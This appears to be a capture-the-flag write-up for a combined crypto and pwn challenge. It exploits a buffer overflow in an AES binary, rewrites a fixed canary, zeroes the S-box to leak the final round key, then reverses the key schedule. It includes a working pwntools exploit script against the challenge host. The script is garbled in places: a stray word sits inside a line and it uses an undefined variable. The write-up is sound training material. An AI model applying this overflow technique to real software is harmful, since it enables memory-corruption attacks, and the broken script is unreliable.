Difficulty: Hard

Points: 244

Challenge

Énoncé

Solution

The challenge consists of a 64-bit ELF binary and has the particularity of being both a cryptography and binary exploitation challenge.

Meme

So, let’s start by opening our binary with our favorite reverse engineering tool: Ghidra!

void main(void)

{
  byte bVar1;
  long lVar2;
  uint uVar3;
  undefined8 *puVar4;
  undefined *puVar5;
  uint uVar6;
  long in_FS_OFFSET;
  byte bVar7;
  undefined8 auStack_f8 [22];
  undefined local_48 [24];
  undefined8 local_30;
  
  bVar7 = 0;
  local_30 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  LoadKey(local_48);
  SendEncryptedFlag(local_48);
  do {
    do {
      uVar3 = 0;
      puVar4 = auStack_f8;
      for (lVar2 = 0x16; lVar2 != 0; lVar2 = lVar2 + -1) {
        *puVar4 = 0;
        puVar4 = puVar4 + (ulong)bVar7 * -2 + 1;
      }
      KeyExpansion(auStack_f8,local_48);
      puVar4 = &last_message;
      for (lVar2 = 0x1c; lVar2 != 0; lVar2 = lVar2 + -1) {
        *puVar4 = 0;
        puVar4 = puVar4 + (ulong)bVar7 * -2 + 1;
      }
      bVar1 = GetMessage();
    } while (bVar1 == 0);
    uVar6 = (uint)((bVar1 & 0xf) != 0) + (uint)(bVar1 >> 4);
    if (uVar6 != 0) {
      Cipher(&last_message,auStack_f8);
      puVar5 = &DAT_00104030;
      uVar3 = 1;
      do {
        if (uVar6 == uVar3) break;
        Cipher(puVar5,auStack_f8);
        uVar3 = uVar3 + 1;
        puVar5 = puVar5 + 0x10;
      } while (uVar3 != 0xe);
    }
    puts("Here is your ciphertext :");
    SendMessage(&last_message,(uVar3 & 0xf) << 4);
  } while( true );
}

This is an implementation of the Advanced Encryption Standard (AES) symmetric encryption algorithm, but the encryption key used is loaded from an external source and is not included in the binary. The program correctly reimplements the SubBytes, ShiftRows, MixColumns, and AddRoundKey operations specific to the AES algorithm. These operations will not be detailed here, but I recommend taking a look at the AES Wikipedia page to better understand the algorithm’s functioning and the attack that will follow: Advanced Encryption Standard

While examining the binary, we come across the function GetMessage, which appears to be vulnerable to a Buffer Overflow:

int GetMessage(void)

{
  long lVar1;
  undefined8 *puVar2;
  int iVar3;
  byte bVar4;
  
  bVar4 = 0;
  puts("Enter the cleartext (at most 224 character), I will give you the ciphertext back.");
  iVar3 = 0;
  puVar2 = &last_message;
  while( true ) {
    fread(puVar2,1,1,stdin);
    if (*(char *)puVar2 == '\n') break;
    iVar3 = iVar3 + 1;
    puVar2 = (undefined8 *)((long)puVar2 + 1);
  }
  iVar3 = iVar3 + 1;
  if (mycanary != mycanary_backup) {
    puts("Have u seen my canary ?! His name is \'Don\'t overwrite me or, at least, do it well...\'")
    ;
    mycanary = mycanary_backup;
    iVar3 = 0;
    puVar2 = &last_message;
    for (lVar1 = 0x1c; lVar1 != 0; lVar1 = lVar1 + -1) {
      *puVar2 = 0;
      puVar2 = puVar2 + (ulong)bVar4 * -2 + 1;
    }
  }
  return iVar3;
}

This function retrieves a message from the standard input and writes it to the program’s .data section at the address pointed to by last_message. However, there is no control over the size of the message added to memory, making it possible to exceed the originally allocated size for the last_message string.

The .data section has the following organization:

  • last_message (224 bytes)
  • mycanary (0x33221100ddccbbaa)
  • (24 null bytes)
  • sbox (256 bytes)

The sbox section is used during the SubBytes operation of the AES algorithm. In this operation, each byte $a_i$ of the message being encrypted is replaced by the byte $sbox[a_i]$. This operation is applied at each round of the AES algorithm.

Usually, sbox is a random permutation of bytes from 0 to 255. However, what would happen if we replaced sbox with an array of 256 zeros?

In this case, the SubBytes operation would replace the current encryption block with a block composed of 256 bytes, all equal to 0. The subsequent ShiftRows and MixColumns operations become useless.

The fourth operation, AddRoundKey, performs an XOR operation between the encrypted message and the 256 bytes derived from the encryption key. If the sbox fixes the message to a list of 0, the AES algorithm always returns the last key value after all its derivations.

The key derivation algorithm used, Rijndael key schedule, is reversible, and it is possible to trace back the successive derivations until the initial key is found. Then we can decrypting our flag.

Meme

However, remember that this is also a binary exploitation challenge, and the GetMessage function uses a well-known method to guard against Buffer Overflow attacks: the use of a canary. If the value of mycanary, located between last_message and sbox, is erased, the attack fails. Typically, a canary’s value is randomly set, but in this challenge, its value is fixed at 0x33221100ddccbbaa. Therefore, it is sufficient to correctly rewrite this value during our Buffer Overflow exploitation to be able to rewrite the sbox.

from pwn import *
from Crypto.Cipher import AES

sbox = b"\x00" * 256
rcon = [ 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 ]
canary = b"\x33\x22\x11\x00\xdd\xcc\xbb\xaa"

host = "instances.challenge-ecw.fr"
port = 39858

p = connect(host, port)
d = p.recvuntil(b"back.\n").decode()
print(d)
cipher_flag = bytearray.fromhex(d.splitlines()[2].strip())
# Exploit the bufferflow without replacing the canary
# and rewrite sbox with a null 256 array.
p.send(224 *b"A" + canary + 24*b'\x01' + sbox + b"\n")
print(p.recv(2048).decode())
p.send(12 *b"A" + b"\n")
print(p.recv(2048).decode())
p.send(5 * b"A" + b"\n")
d = p.recv(2048).decode()
roundKey = bytearray.fromhex(d.splitlines()[1].strip()[:32])
roundKey = list(roundKey)

# Reversing Rijndael key schedule
for u in range(0x2c - 1, 3, -1):
    roundKey = [0, 0, 0, 0] + roundKey
    if (u & 3) == 0:
        roundKey[0] = a[0x10] ^ rcon[u >> 2]
        roundKey[1] = roundKey[0x11]
        roundKey[2] = roundKey[0x12]
        roundKey[3] = roundKey[0x13]seamlesslyblending
    else:
        roundKey[0] = roundKey[0x10] ^ roundKey[0xc]
        roundKey[1] = roundKey[0x11] ^ roundKey[0xd]
        roundKey[2] = roundKey[0x12] ^ roundKey[0xe]
        roundKey[3] = roundKey[0x13] ^ roundKey[0xf]
    roundKey = roundKey[:-4]

key = bytearray(roundKey)
cipher = AES.new(key, AES.MODE_ECB)
flag = cipher.decrypt(cipher_flag)

print(flag)

p.close()

Great! Thanks to this challenge, we have gained an understanding of the importance of the SBOX in a custom implementation of AES. I especially appreciated that this challenge combined both cryptography and buffer overflow exploitation. The blending of categories in CTFs is often a recipe for the best challenges!